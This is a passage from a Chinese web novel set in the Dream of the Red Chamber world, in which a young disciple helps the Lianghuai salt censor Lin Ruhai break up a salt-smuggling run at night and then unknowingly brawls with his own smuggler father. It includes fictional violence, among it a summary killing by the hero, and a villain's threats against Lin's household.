贾敏见李素眼眶发红,泛起了泪光。 知是因自己关心,让他感怀自己少年失枯的身世。想明原委,她也似感同身受一般,不自觉眼睛也红了,从心里疼这个身世可怜的孩子。 林如海见状,赶紧递了手帕过来,贾敏接过来后伸手就要给李素擦泪。 “师母,我自己来。”李素掏自己的,但掏了空。 他记起来了,自己的给黛玉擦汗,被她给没收了。 “瞧瞧,连个帕子都没有,也不知道备着点儿。”贾敏嗔怪着给李素轻轻擦拭了眼角。 李素下意识的扭了扭头。 “噗嗤!” 贾敏见状忍俊不禁的笑了起来:“哈哈哈,你这孩子,还羞起来了。” 林如海也在一旁笑,他知是贾敏因为没有给自己生个儿子,心中一直郁结,此刻见到自己收了李素这么个徒弟,是有一时间把李素当儿子的错觉了。 此时屋里,竟像是一家三口,在这一刻竟充满了温情。 李素心里忽然冒出个念头:幸好黛玉不在,否则她不知会拿话来填谁了。 人是不禁念叨的,李素恍惚了一下。抬头只见黛玉竟然真的就来了,站在门口,檀口微张,愣愣的看着屋子里的一切。 随着二人对视,黛玉眼皮一耷拉,缓步进来,一开口就带着酸气:“原本我不该来的,只是心中记挂父亲,没成想这许多人都惦念着,也不缺我一个了。” 接着她又瞧了一眼贾敏,慢条斯理道:“这会子,倒是显得我多余了。” 说着扭身就要往外走,贾敏见她这模样儿心里憋着笑,伸手把她揽了过来:“你怎地醒了?” “我不该醒么?” 黛玉也不看贾敏,眼角往上瞧,瞄了一眼对面的李素。 李素暗自咬牙切齿,心说要不是你爹娘在,现在就打哭你! 林如海见时候不早了,于是不再理会这娘俩儿再插话搭茬儿,他清了清嗓子,说道:“今年河南黄河泛滥,百万人受灾你们都知道吧?你们知道什么结果吗?” 连着两问,拉回了贾敏和黛玉的注意力。 林如海咬牙切齿,一字一句:“千里饿殍,易子相食!” “啊!” 黛玉捂住了小嘴儿,一脸惊恐。 “就因为朝廷缺银子!而这只是今年。就在上个月,钦天监观天,工部称量黄河,一致认为明年黄河还要发水,规模更大。” 接着他看向李素,肃声道:“妙言,你来说说,朝廷现在要紧的是做何事?” “清淤,移民。” 林如海击节赞道:“就是如此!” 黛玉见状,面色忽的一喜,好像父亲夸了她一样,接着好似又想起了什么,面色又板了起来,傲娇冷眼,瞟了一下李素。 “而这就需要银子,而得银最速莫过于盐税,而盐税多寡又赖于出盐量,天下盐产之最又莫过于两淮。” “所以飞鱼卫是来崔银的?”李素问道。 林如海摇摇头:“不止,盐产按例卖于八大盐商,盐商按量缴税,但税收却往往不足,你可知为何?” 李素想了一下,看向林如海道:“私盐?” 他说完,心里忽然就开了锅。 亲爹就在挖国家的盐税墙角,拼命逃税。而他师父,未来的老丈人在拼命的打击私盐,为国家补税。 我爹跟岳父竟然是死对头,我该如何自处?我该帮谁? 怪不得我刚进林府,和尚就来了。 林如海心中称赞李素的慧心,一边回答:“对,就是私盐,实则盐场出盐,一路走官纳税,一路转私逃税。” “所以今日里,老夫在两淮转运司滞留许久,就是在给他们施压,一是尽快运盐北上,扬州快速收到盐税,二是让他们有所顾忌,少走一些私盐,多纳一些税赋。 “而皇上等米下锅。这口锅如若做不好饭,皇上也腾不出手做更紧要的事。” 李素疑问道:“大人知道是他们联合做鬼,把他们拿下 不行么?” 林如海沉声道:“这也是飞鱼卫来的第二个目的,查人,拿人!” 李素完全明白了,但这也说明一场你死我活的厮杀争斗就在眼前了。 想到这里,他看了看贾敏,心说搞不好原著中,这美丽的丈母娘就是因为这场斗争去世的。 贾敏和黛玉是头一次听林如海说官场上的事儿。 贾敏对丈夫更了解一些,她听完就知道林如海明面上是在教李素,实则也是压力太大,不得不说出来缓解心头负重。 此刻碧荷端着汤盆进来了,贾敏赶紧起身张罗:“你们快把汤喝了。” 忽然被扒拉到一边的黛玉,不敢置信的看着自己的亲娘,心里头不住的滚动着字幕:她就这么把我给扔了? 贾敏却没真的忘了她,扭头道:“玉儿,你要不要也喝一碗?” 黛玉把头一扭。 小嘴一瘪:“我不配!” 话音刚落,就感觉自己的小嘴被塞了一个勺子,她下意识的吸了一口。 忽然回过神来,抬头就看见了李素的笑脸,有促狭、还有温暖。 再就听到了父亲、母亲开怀的笑声。 黛玉羞恼,正想开口怼他们。 就听外面响起了急促的脚步声,呼叫声……就像门外忽然飞来一块大石,瞬间砸碎了这温暖画面。 泰州港。 此时终于装好了船,拄着双拐李固,身边站着偷笑的飞狐。他瞪大了一只独眼,看着前方江面上点点渔火,好似大军出征整装待发,他心中涌起了无限豪情。 待闯过扬州关口,北上进入运河,他盐龙的货就能撒遍北方大地。 盐龙有银子赚,百姓还能吃上一口好盐。 这其中的成就,谁能懂? 他一甩手里的拐杖,大喝一声:“出发!” 第24章 盐院衙门 听到声音,林如海豁然起身。 就见林忠气喘吁吁的进了书房,其身后跟着一个飞鱼卫,赫然就是白日里查问李素的那个鸭嗓子,眯眯眼儿。 进得屋来,鸭嗓子表情阴沉,抱拳行礼:“大人,事情紧急,请恕唐突,稽查营把总刘进被人打成重伤,其言今夜或有人会强闯钞关。” “刘进呢?”林如海急问道。 “已送盐院衙门,叫了大夫,我们其他兄弟已去钞关查探。” “去稽查营!”说着林如海就往外走。 “师父,稽查营恐已不妥,应该召集盐丁,并请江南大营协助。”李素心念电转,每年走私盐这么多,要说稽查营没鬼才怪。 盐丁说不定都被渗透了也说不准,林如海毕竟是书生,很难带出忠心的兵。 林如海立刻反应过来了,自己是急糊涂了,感激的看了一眼李素,随后他对公鸭嗓说道:“胡十七,你去江南大营,告诉参将杨间,就说我请他协助,此事若成,我替他向皇上表功。” “属下遵命。”胡十七抱拳就走。 林如海随后吩咐道:“林忠备轿,去盐院衙门。” “师父,我也去!” 林素说完转身摘下了墙上的一把宝剑,拿在手里掂了掂。 “老爷!” 此时贾敏才敢开口,不由得向前走了几步,看着林如海面上满是担忧。 黛玉也是,还没想明白李素为什么叫父亲师父,巴掌大的瓜子脸上,就好似已经写满了担忧俩字儿。 “妙言可以跟我去,你们娘俩儿早点儿安歇,无事的。”林如海到底是静气到家,此刻沉下心,开始安慰起妻女来。 贾敏只好点头,又看向了李素。 “师母,玉儿,我也无碍的,打架我不行,逃命我第一。” 贾敏被他差点儿逗笑了,嗔怪道:“你这孩子!” 林如海不再多言,跟李素很快出了屋门。 留下这娘俩,在门口张望。 等到了前院,李素先回了自己的院子,一脚踹开了和尚的房门。 李无色猛的起身就要抄家伙,被李素一脚踹回了床上。 不待和尚反应,就快速说道:“是我,今夜私盐闯关,江南大营出兵,我爹如果参与了,让他赶紧撤!” “啊,我知道了,这就走。” “跟我走,你自己走,惹人怀疑。” 李无色裹了件儿袍子就跟李素往外急奔,等出了林府,二人分道扬镳。 李素疾步追上了林如海的轿子。 黑暗中,一行人快步奔向盐院衙门,也就是巡盐御史衙门,林如海的地盘。 进得门来,只见里面已经有人在来回奔走,灯下躺着一人,已然昏迷,满脸是血,这就应该是刘进了。 “季班头儿,如何了?” 一旁有人回道:“大人,还在昏迷中,已经用了药,这条命大约是保住了,但要看明天能否醒过来。” 林如海肃然道:“季宗,召集所有盐丁,半个时辰内,必须到衙。” “如有不到,开革查办,上查三代,家人为奴!”李素补了一句。 林如海被李素的狠辣给惊了一下,但还是对季宗说道:“就这么说,快去!” 季宗闻言疾跑而去。 李素给林如海搬了把椅子,扶着他坐下:“师父,事急用兵,必要用狠镇住他们,否则一个照面儿,就是败局,像您说的皇上可等着银子救命呢。” 林如海认同的点点头:“不想你还有遇急机变之能。” “报!”有人从外面急奔而来。 “大人,从泰州方向有不知计数的船只向扬州驶来。” “代我谢谢你们大人。”随后林如海挥挥手,让人下去了。 他此刻心里已经有了最坏的准备,忧心不减,但心态反而不急了。 转头向李素解释道:“泰州知府是我同年,我知会过他,如有大批船只过境,就差人来信儿。” “师父是未雨绸缪。” 林如海摇了摇头,面色复杂:“我每每为自己修行而得意,但真经此类急事,才明白自己还没有到家,火候还差得远。” “师父自谦了,俗话说胸中有激雷而面如平湖者,可拜上将军,这说的可是武人。而您是读书治经之人,谋的是大略,是大局。” 李素开导他哄骗。 “胸中有激雷而面如平湖者!好句!好句!哈哈哈!”林如海咂磨着李素的话,心中的忧虑竟然也去了。 “师父,盐丁有多少人?” “二百口。” “素哥儿,素哥儿!” 大光头竟然回来了? 李素向林如海解释了一句:“师父,这是林管家给我安排的仆役小厮。” “嗯,我说怎么有点儿面熟。” “你怎么回来了?脸上这许多灰怎么回事?”李素把他拉向 了一边,随后低声道:“我爹今夜有没有干活儿?” “我不道啊?但信儿已经传出去了,我得来保护你。刚才走的急,摔了一跤。”大和尚支吾道。 “你屁的不道,又不是东北人,还学人家说话。” 随后不再理会他,走回林如海身边。 见他面色苍白,充满了疲惫之色,于是转到他身后,给他捏起肩膀来:“师父,我这松骨拿筋术,可是道家真传,您感受一下。” 林如海点点头。 大和尚看着李素孝顺着林如海,有点儿替自己的大当家发起酸来。 在身后,不断的用目光扎林如海。 随着时间的推移,不断的有盐丁归队,场面顿时开始嘈杂起来。 而林如海坐在椅子上,双眼微闭动也不动,更不开言,仿佛就是在专心享受李素的拿按。 衙门里这一角的安静,与大堂里嘈杂局面,竟然在这一刻形成了诡异的和谐。 这一角的气场逐渐蔓延,嘈杂声也渐渐地小了起来,盐丁们开始自觉列队,不多时就鸦雀无声了。 季宗蹑手蹑脚走到林如海一侧,瞧了李素一眼。 李素朝他咧嘴一笑,点了点头。 “大人,人已到齐。” 林如海睁开双眼,点点头,唤了一声:“把兵交给妙言指挥,你为副。” 季宗愣了,没想到这还是个抢自己饭碗的,但无奈只能点头。 李素根本不在意他,林如海敢给他就敢接。 他拎着宝剑,大步流星走到盐丁队伍前面扬声道:“今夜紧急出兵,听命者赏,违命者斩。” “大人的命令,我们肯定听,你是哪个?哪来的半大孩子?” “你,站出来!”李素一看,有刺头儿,乐了。 “站出来如何?我冯富就是不服。” 一个年轻人,歪歪斜斜的站在了李素面前,脸上涂脂抹粉。 他对李素可太不爽了,平时都不来应卯,今夜却被逼着从小娘们儿肚皮上爬了起来,一路像被狗撵一样跑到衙门。竟然还被一个小白脸儿呼三喝四。 季宗见状,赶紧跑到李素身边低声道:“妙言大人,他是转运使的小舅子,吃空饷的。” 李素也不看他,随后走到冯富面前,也不多言,抽出宝剑就扎了过去。 第25章 血色号角 剑光骤起! 血光乍现! 冯富惨叫一声,睚眦俱裂,不可置信的看着眼前的李素。 直到此刻他都无法相信,李素竟然敢杀他! 只见李素面无表情,左手攥住了冯富的衣袍前襟,右手再次使力一攮,剑透冯富! 随后用力一抽,滚烫的鲜血喷射到了李素的脸上和身上,将他整个人都染成了血红之色。李素面色不改,宛如一尊冷酷无情的杀神。 李素强忍着恶心,看向在场的所有盐丁,目光逐个扫视过去,众盐丁的目光纷纷躲闪开去,不敢与他对视。 他前世没少杀人,死在他枪下的黄毛也有两位数,但直接用剑把人捅死还是第一次。 剑刺入体,鲜血扑面,让他感到有些恶心,但更多的是兴奋,那种来自灵魂的颤栗,让他感觉自己的肾上腺都快冒烟儿了。 本来按照正常路径,他不应该在林如海这个夫子官员面前,暴露自己动辄杀人的行径。 但是现在情况已经不同了。 可以说从他动手杀人的这一刻起,他的老板已经从林如海,变成了京城皇宫深处的那个皇帝。 随着这一剑刺出,林如海自动变成了二老板。 今夜林如海透露出来的信息足够多,扬州今朝盐税已经成为了天下政治角力的焦点,胜败多寡,已经可以左右未来的朝局和皇帝的处境。 而他就在这个焦点之中,那么必须搭着林如海的梯子蹭上去。 天予不取,反受其咎! 如果说出名要趁早,早早进入皇帝的眼中,比任何途径的政治收益都要大。 所以他果断跟着林如海来了盐院。 他果断出言献策,现在更是果断杀人! 这场盐税之争,必然是你死我亡,要破局就要狠,要流血。 林如海势单力孤,但背靠大义,唯有利用大义的利剑杀出一条血路,才能掀翻那张大网。 李素没有退路,这么高的收益,这么好的机遇,他也不可能退,而冯富就是他冲锋路上的第一滴血! 眼前这些盐丁,就是他的第二把剑! 堂内变得更加安静了,安静之外更是多出了许多肃杀之气。 后面的林如海不由得站起身来,心潮彭拜,只有这样的果决,这样的锐气,方能一展抱负,杀出困局。 自己收的这个徒弟太出色了! 而李无色,李和尚也兴奋了,这特娘的就是大当家的种,更狠更果断,这让他兴奋的同时,产生了更深的敬畏。 李素把剑还鞘,随后大步流星的走到了林如海面前。 “师傅,我杀人了。” 林如海见李素眼神清朗,面色坚毅,身躯挺得笔直,宛如长枪,此刻看上去英武非凡。 抚掌大笑:“好,好,该杀!杀得好!” 值此之际,心中顿生豪迈,仿佛李素这一剑把他的往日的忧虑也打散了。 扬声道:“甚好,启程!” 林如海出门率先上了轿。 李素随后走到盐丁队前,大喝一声:“分为两队,跑步前进,瓜洲渡口!” 瓜洲渡口。 稽查营的值守兵丁,纷纷走出了钞关,瞬间没入了黑暗。 盯梢的两名飞鱼卫,见状飞快跑进了钞关,只见关内已经空无一人。 “这帮混账,把拦江锁也卸了!”金梁跳脚骂道。 “老大,我就说咱们就应该上去亮明身份,接管钞关!” 金梁摇了摇头:“老三,如果听你的,那咱俩就被打死了,你别忘了,我们来不是为了眼前会跑多少私盐,而是查出背后那些人的罪证,这才是大局!” 老三叹了一声道:“现在就只能等林大人了,老胡是个稳妥的。” 金梁望着远处漆黑的江面不再说话。 …… 距离瓜洲渡口已经不远。 李固的心反而更加紧张了,万一黄家不靠谱儿,铁索拦江,他们就成了瓮中鳖。 黄家不过损失百十万两银子,但他们丢的却是身家性命。 “大,大当家……”飞狐上了爬上了李固的船,喘息未定,急促说道:“佛爷来信儿,让我们快跑,林如海叫了江南大营!” “啊?!”李固闻言,手中的拐杖瞬间掉了一只。 他上前一把抓住飞狐的前襟:“此言当真?哪个狗日的出的主意?日他娘的,老子只不过走个盐,还动上大军了。” “佛爷说有可能是素哥儿出的主意。” 李固的眼睛瞬间瞪圆了,憋得难受。 没骂错,但自己不是狗! 李固哀叹一声:“这孩子可是坑了爹喽!” 随后反应过来,眼前不是想这些的时候,他拿起手中拐杖在甲板上猛的一顿:“赶紧让咱们的人撤!” “那其他家呢?还知会吗?” “顾不得了,也来不及了!说 不得这一遭只好让他们给咱挡刀了,水师有没有动?” “信上没说。” 李固一跺脚:“不怕一万就怕万一,立刻靠岸卸盐!然后回老家。” 飞狐一愣:“还卸盐?那火把一起,不就被看到了?” “能卸多少算多少,不然事后翻账,十八家的人命谁来赔?不赔咱们还能在道上混么?黄家会赔么?辣块妈妈的,赶紧滚!” 飞狐不再多言,快步的跑去传信儿了。 …… 再说林如海和李素等一众人,此时已经渡口在望。 “快!给我撒丫子跑!” 李素此时喘息就如风箱一般,呼吸到肺里的空气,就好像着了火,喉咙火辣辣的疼。 这身体还是太差了。 “林大人!林大人!”飞鱼卫跑着迎了上来,林如海赶紧叫人落轿。 一把抓住金梁,焦急的问道:“情形如何?” 金梁喘息稳定急促道:“刘进说的是对的,此时稽查营的人全都不见了,拦江锁也被下了!” 林如海心中一震,看向李素叫道:“妙言!” 李素冲林如海一点头,立刻吼道:“全体盐丁听令,立刻上关,给我大喊:贼人休走!等你们多时了。” 林如海听到李素的安排,心中暗自点头,急切中这已经是最佳的安排了,黑暗的江面,没有任何阻拦,也没有远程武器,也只有使诈! 不待盐丁答应,就听远处江水声起,竟不知多少船只向着渡口而来。 眼看事情紧急,李素嘶吼道:“季宗!给我带人上。” “是!” 一行二百余人,在季宗的带领下,迅速的上了关,随后就大喊了起来。 二百余人齐声鼓噪起来,开始喊得还参差不齐,到后面,整个江面都在回荡着震耳欲聋的齐声嘶喊:贼人休走!等你们多时了! 黑暗中无数向前冲的船只顿时乱了。 骂娘声,呼喝声,甚至还有投降声,乱成一片。 李素的身体再也撑不住,眼看就要跌倒,被林如海给搀住了。 “妙言!” 李素咧嘴一笑:“师父,我没事儿。” 此时外间传来惊天动地的马蹄声,随后就看到了整齐的火把蜿蜒行来。 李素和林如海对视一眼,江南大营到了! 第26章 狭路父子 急促的马蹄声由远及近,很快来到了众人面前。 只见头前一匹大马之上,端坐一名雄壮的汉子,全身披挂来到近前跳下马来大声道:“林盐院,两江总督那里的调兵手续,回头您可得替我补上。” “哈哈哈,杨都督,我会奏请皇上,办妥此事。”林如海看到杨间亲自到了,大笑行礼。 杨间拍手,大叫一声:“好,咱的功劳就落在林御史头上了。” 随后他转身向后面的骑士下令:“给我射那些狗娘养的,一个也别想跑,咱们的拔营银子可就落在他们头上了。” 骑士领命而去。 杨间乐呵呵的看着林如海。 林如海跟李素对视一眼,师徒二人心下了然,这家伙不光要功劳,还要银子。 林如海冲着杨间点了点头。 杨间大笑一声,对林如海拱了拱手,翻身上马跟着队伍去了。 很快江面上就传来了惨叫声,随后火光冲天,江南大营的兵勇用了火箭,众人借着火光向江面望去。 顿时目瞪口呆,只见江中密密麻麻的船只挤成了一片,船上除了人就是堆得像小山似的盐包。 飞鱼卫的老三惊叫出声:“天哪,这得是多少船啊?不对,是多少盐啊?” 李素搀着林如海上了钞关,看着远处的厮杀。 江中的船只已经搅和成了一团,有向前的,有向后的,有向左的向右的,不时的有人中箭落水,盐枭们已经成了待宰的羔羊。 李素心中明白,此时大局已定! 就是不知道自己老爹是不是真的跑了? 他抬眼看了看一直跟在身后默不作声的和尚,和尚冲他咧嘴一笑。 李素心里有数了。 “妙言,那边!咱们过去。”林如海一指远处,江面竟然有一簇火光,远远望去如萤火虫一般,运动有序,丝毫不显杂乱。 “这是有人跑了?”李素开口道。 林如海沉声道:“大概是,这边就交给江南大营,咱们带人过去。” 李素又仔细看了看,算了一下时间,心说那边不会就是自己的亲爹吧,如果是真的话,就不能让林如海去了。 太为难自己,容易有娶了媳妇忘了爹的心理负担。 于是他对林如海道:“师父,我带人去吧,您在这里坐镇。” 林如海摇了摇头:“哼,我倒要去看看到底何方神圣?” 不知为什么,林如海冥冥中感觉那伙人应该是大鱼。 李素无奈,看着被自己一路上训的跟土匪似的二百人,是真敢拼命了,但万一自己是亲爹,而又被自己这个亲儿子带人给干死了,将来上坟都不知道该怎么念悼词。 他忽然想到个主意,分兵! “师父,等等!我有些担心府里,担心师母和玉儿,让季宗带一队人去守着吧,这边咱们背靠江南大营,不会有大事。但是这次他们的规模如此之大,又被咱们给他破坏了,这种程度的损失,难保对方不失去理智,所以我担心他们会报复。” 林如海被李素说的也有些担心家里了,于是点头同意他的意见。 李素转身对季宗道:“快去,守林府,一个苍蝇都不能飞进去,不然我送你去请冯富吃席。” 被威胁的季宗脸色发黑,他憋着气大吼一声:“左队百人跟我走!” 放下心的李素则带着另外一半人马,随着林如海奔向了那处火光。 扬州城里,很多人已经得到了消息。 瓜洲渡口出事,林如海集齐了盐丁,连夜上关拦江拿贼! 黄颉正是属于消息灵通的,他此时正拿着鞭子抽四猴子。 四猴子哀嚎惨叫,在地上像个球一样滚来滚去,躲避着鞭子。 黄颉见他躲避戾气更甚,鞭子抽的更狠了:“辣块你妈妈的,你再敢躲,老子杀了你!” 四猴子吓得不敢动了,抱着脑袋缩成一团,惨叫着让黄颉抽打。 黄颉边抽边骂:“你个奴几辈养的,让你把刘进沉江,刘进被人救走了,现在林如海都带人上瓜洲了,这批货走了也就罢了,如果没走成,老子把你沉江,还有你妈妈!” 说完又狠狠的抽了几鞭子。 四猴子又惨叫几声,浑身抽搐,哆嗦着开口回道:“二……二爷,我妈妈……是是,咱爹的小妾……啊!” 黄颉气笑了,这个傻狗奴才还有功夫跟他分辩这个,又狠狠的抽了他一鞭子骂道:“小妾就是我爹的狗,我也能日,我现在就去,呸!” 一口浓痰吐在了四猴子脸上。 “二爷,二爷……江南,江南大营去了瓜洲!”外面传来一声撕心裂肺的喊声。 紧接着一个小厮连滚带爬的进了屋子,黄劼上前一把薅住他的脖领子,厉声喝道:“你球囊的再说一次。” “二爷,江南大营去了瓜洲!”小厮都带上了哭腔。 黄劼骤然呆住了,本来狠厉的目光,此刻神采全无 。 他的心不断的往下沉,完了,全完了! 京城里的老爷们已经给了银子,事儿却没办好,黄家必然要承受怒火。 这次的事儿,黄家大不了多出一些银子,还能兜得住。 但是,完蛋的不光是今天的事儿! 最糟糕的而是经此一事,渡口钞关必然大洗牌,再想大规模走盐偷税,已经难上加难! 况且十八家漕运大盐枭覆灭,以后就只能靠肩挑手扛的小贩子陆运走私,但那么一点儿规模,不要说满足不了黄家的胃口,还有另外七家呢? 塞牙缝都不够! 远远不够大家吃的。 那么京城的那些老爷,扬州的其他七大盐商,还有这利益链条上的江南的巨族贵戚,都会把矛头对准他们黄家。 他黄家扛不住! 那,自己那个冷血的爹会不会把自己交出去? 自己现在是不是就已经没有了家主之位的继承权?都是大哥的了? 想到这里,他浑身打了个冷颤。 顿时他的眼睛像冲了血一样,变的通红,厉声阴狠道:“林如海,我操你姥姥啊!你要我的命,我就亡你的家!” “来人!把能动的,面生的,杀过人的全给我叫来,我要血洗林府。听说林如海还有个姑娘,今夜老子要给他当姑爷!” 李素和林如海很快就到了火光处,离远了看,还不觉得有多少人。 但凑近了发现竟然乌泱泱竟然有上百条船,停靠在岸边,他们正在紧锣密鼓的从船上往下卸盐! “师父,交给我了。” “好。” 李素转身对盐丁们道:“一会齐声喊我说的最后三个字!” 盐丁左臂拍胸,以示明白! 李素随后转身,双手做喇叭状扩音,朝着前方的贼人嘶喊:“我江南大营上将千员,精兵十亿,前方贼人速速投降,否则杀无赦!” “杀无赦!” “杀无赦!” “杀无赦!” …… 百人盐丁齐声呐喊,响彻四野,竟然喊出了千军万马的气势来! 而正在挥汗如雨的好汉,闻声顿时炸了营,顿时扔下手中的盐包、火把就往树林里钻,而船上的有的跳水,有的往岸上爬,疯狂逃命! 李固见状气的跳脚大骂:“别乱,放他娘的狗臭屁!十亿,十亿个粑粑!你们这帮孙子,别乱!谁特么推我,日你娘!” “飞狐!飞狐!你死哪去了?” 他的呼喊完全淹没在了这场大乱里。 随着火把逐渐被扔掉,忽然陷入黑暗中,场面变的愈加混乱,各种呼喊声,痛呼声,惨叫声乱做一团。 看到这局面,笑的都合不拢腿的李素,强提一口气,大喝道:“投降不杀,辣块妈妈!给我冲!” 众盐丁齐声喊道:投降不杀,辣块妈妈!随后嗷嗷叫着就冲了过去。 李固看着眼前的场面,绝望了! 他心中哀叹,万万没想到,前方有那么多的同行挡刀,这些官兵竟然还有功夫来摸自己。 悔不听飞狐的话,点火把,点火把,终于把自己给点了。 他一脚踹开往他撞来的同伙儿,随即大吼一声:“钻林子,回家!” 随后也转身开始逃,但是现场太乱了,炸了营的军队都没法收拢,何况这一群乌合之众的盐贩子。 黑灯瞎火,李固很快被慌不择路的同伙儿们,给冲的搞不清方向了。 蒙着头,跌跌撞撞往前跑,也不知道转了几个弯儿,走了几个圈儿。 正跑着,忽见亮光,前方有人! 他正想转向躲避,但是一猛的打眼,就发现好像自己能打的过! 只见前方昏黄的火把下,一个麻杆儿似的半大孩子,跟一个瘦不拉几的老头子,后面还有个轿子。 这是军营里的书记官,都跑来趁火打劫了么? 合该让老子出口气! 那么多盐可都是银子,这回损失大了!虽然自己不用给黄家付银子了,但是丢了的银子就等于亏了! 想起来,他就心痛的难以呼吸,脚底板都觉得疼,那可都是给儿子攒的! 给儿子将来做官行贿用的,儿子不送银子怎么进步?怎么往上爬?怎么能光宗耀祖? 不能光宗耀祖,这么多年刀头舔血干脏活儿,一身污名,无颜见地下的爹娘! 想到这里,李固怒气上涌,对着前方大喝一声:“就你们这二两骨头渣子,也敢来找爷爷的麻烦!” 李素从轿夫手中抢过一根火把,对着出声处就扔了过去,火把落在地上,随后就看清了来人, 随后他就乐了。 竟然是个跑单的,一个拄着拐的瘸子,而且还是个独眼儿龙。 都残成这样了,还学人家走私盐? 这合该让自己欺负! 赢麻了啊! 那 就,狭路相逢勇者胜吧! 第27章 父子同心 “妙言!” 林如海有点儿后悔,没有拦一下李素,竟把盐丁全撒出去了,身边就剩下他俩跟几个老实巴交的轿夫。 李素乐呵着回道:“师父,无碍,看我拿下这个残疾人!” 说着他紧了紧手中的剑,打算往上冲。 嗯? 这老残疾,怎么这么快? 操!瘸子竟然是假的! 就在李素愣神儿的功夫,李固已经冲了上来,举拐就砸! 李素慌忙用剑横挡,接着手中巨震,手臂发麻,剑就被磕飞了出去。 李固见拐建功,心下大喜,果然是骨头渣子! 随后一脚欲踹李素,同时一拐就砸向了林如海,打算一举干掉两人。 就在千钧一发之际,李素大喝:“休伤我师父!”只见他一个旋身躲开了李固的脚,挡在了林如海身前,左臂挡拐,右臂同时一个肘击戳向了李固的心口。 八极!窝心肘! 二人同时中招后退。 李素左臂传来火辣辣的疼,李固感觉自己心口发疼发闷。 二人同时涌起一个念头:这孙子不好对付! 于是李固不再猛冲,计划用自己优势的体格战胜对方,两人开始了游斗! 一个体力好,凭经验搏杀,一个体力弱,但有套路有经验。 父子俩竟然斗了个旗鼓相当,不相上下! 但是李固很快就发现了机会! 眼前的麻杆儿最在意身后的老头子,于是他不再一位的跟李素争斗,而是招招冲着林如海而去。 而李素见状大急,一边呼喊着轿夫守护林如海,一边替林如海挡拐与李固相斗。 李素瞬时落入了下风,为了救林如海,又挨了好几拐,已经鼻青脸肿。 李固大喜,果然有戏! 林如海心急如焚,恨自己帮不上忙,又心疼李素,不断的呼喊盐丁,但在厮杀捉贼的盐丁根本就听不见,何况天色漆黑。 眼见李素又挨了一拐,林如海对几个抖如筛糠的轿夫大吼:“给我上,拿下此贼,赏银千两!” 李固一听这话,就觉得建功无望了,他准备跑,重赏之下有勇夫,这也是他惯用的手段。 就在这时,李素冲他身后大喊一声:大哥你来了! 李固被他喊的一愣,就在这一瞬间,早就准备好的李素,一脚就踢向了他的胯下。 随即李素大喜,中了! 只听李固“嗷~~”的一嗓子,就蹦了起来。 随后他夹着腿,疼的身子打了摆子,但李素另一脚就到了,猛踢他的手腕儿,随后李固的拐就飞了出去。 李固后退,冲着李素就骂了起来:“你个小王八崽子,日你娘的,我要杀了你!” 于是稍稍缓过劲儿的他,不再管林如海,追着李素就打。 李素边跑别骂:“你个老王八犊子,生儿子没屁眼儿!” “你敢骂我儿子?狗日的,拿命来!”李固听到这麻杆儿诅咒他儿子,眼睛都红了。 李素大喜,原来这个老残疾在乎儿子!!!那就妥了! “哈,就骂你儿子!你儿子没屁眼儿,没屁眼儿!” 李固嗷嗷叫着追打李素,两个人边骂,边打。 李素有意的引着李固向外跑去,李固一心要把骂他儿子的小犊子打死,眼中哪还有林如海? 渐渐的就远离了林如海。 林如海急的跳脚对着几个轿夫大骂:“你们去追,妙言无事便罢,如有损,你们就下大狱吧!” 飞了拐的李固,再不复刚才的优势,但李素此时体力也在耗尽的边缘。 暂时又是旗鼓相当! 李素边跑边骂,李固边骂边追,在黑暗中跌跌撞撞,也不知跑到了何处。 李素忽见前面有火光,火中映照着一个澄明瓦亮的光头。 李素大喜,老子的人来了! 在他身后的李固此时也看见了光头。 李固也大喜,老子的人来了! 但李固身下此时又是一痛,刚才的后遗症又来了,一个趔趄就摔倒在地。 正在注意着他的李素见状,也顾不得跟和尚打招呼,转身一个饿虎扑食就压了上去,李固一惊反手就是打。 又挨了一拳的李素,不顾疼痛,在黑暗中一把扯住了李固的头发,有了这个坐标,李素的绝招就来了! 插鼻孔! 李固接着就感到了一股前所未有的酸爽,鼻涕眼泪瞬间就往下流。 难受的他,呜啊啊叫着,也去扯李素的头发。 于是场面就变成了,你扯着我的头发,我扯着你的头发,你插着我的鼻孔,我掐你的脖子,但体力耗尽的两个人,谁也奈何不了谁。 在地上滚做了一团! 叫外援! 两人同时想到了这个念头! “和尚!” “和尚!” 俩人一愣。 “李无色!” “李无色!” 俩人心里同时咯噔一下。 不待他们多想,只见一个火把映照的大光头,就出现在了他们二人的头顶,眼睛瞪大了像铜铃,嘴巴大张,后槽牙都快翻出来了,甚至恍惚间,还有个烂菜叶儿。 只见他一跺脚,大叫:“大当家!素哥儿!哎呀,我的爷爷们,你们快松手!” 蹲身就要拉开两人。 已经不用他了,和尚一开口,这父子二人就像触电一般,同时松了手,并滚向一旁,拉开了距离。 尴尬! 无语凝噎! 二人谁也不说话,默默的坐起了身。 这特娘的找谁说理去。 李素哀叹,千躲万躲没躲开,还是揍了爹! 李固也哀叹,千思万想的儿子,竟然被自己揍了! 俩人谁都没想起自己挨揍的事儿。 俩人还都自己骂了自己的事儿,也都没想起来。 同时两个人又是一阵后怕,李素怕的是万一自己的这个爹没跑掉,被盐丁砍掉,就应了自己的乌鸦嘴了,上坟没词儿! 李固怕的是,万一刚才自己一拐杖砸在了儿子头上,他没躲开,死在了自己手里,自己连死都不知道怎么死,才能恕罪,到了地下爹娘和祖宗八代都会追着他砍吧。 万幸! 万幸! 李固突然开口:“呃,我是你爹。” 李素也在此刻开口:“呃,你是我爹。” 俩人沉默了,彼此尴尬笑笑。 “我是你儿子。” “你是我儿子。” 俩人又沉默了。 李素突然站起来,对着和尚就是一脚,把他踹倒在地后,随后照着他的脸就踩了上去:“你他娘的跑哪去了?你不是说报信儿了么?” 李固也踩了上去:“俺也一样!” 他踩裆! 和尚裆下感到了杀气,也不管自己的脸,双手捂裆,惊恐道:“大当家,使不得啊!” 随后他打着滚儿,再次解释,不解释搞不好被这爷俩给弄死。 “素哥儿出发过来的时候,我就赶紧来找你报信儿,可他娘的我没找到你啊!” “你找不到老子?放你娘的狗臭屁!”李固狠狠的踢他屁股。 和尚不管屁股,只捂脸来遮挡默默踹他的李素,大叫回话:“哎呦!轻点儿……谁能想到你装成了残疾人?戴个眼罩不说,还拄拐!” 李固听到这话,踢的更狠了,把对飞狐的怨气也往他身上撒! “疼……疼,你以前不是啊,你最多贴个大金牙!弄个长胡子!” 李素停下了脚,在一旁找到了一个石块儿,在手里掂了掂。 李固一直在注意着自己儿子,见状也不踢和尚了,诧异的看着他。 李素冲他笑了笑,随后就在他诧异的眼光中,举起石头对着和尚的脑袋就砸了下去! 第28章 玉弱实坚 “别!” 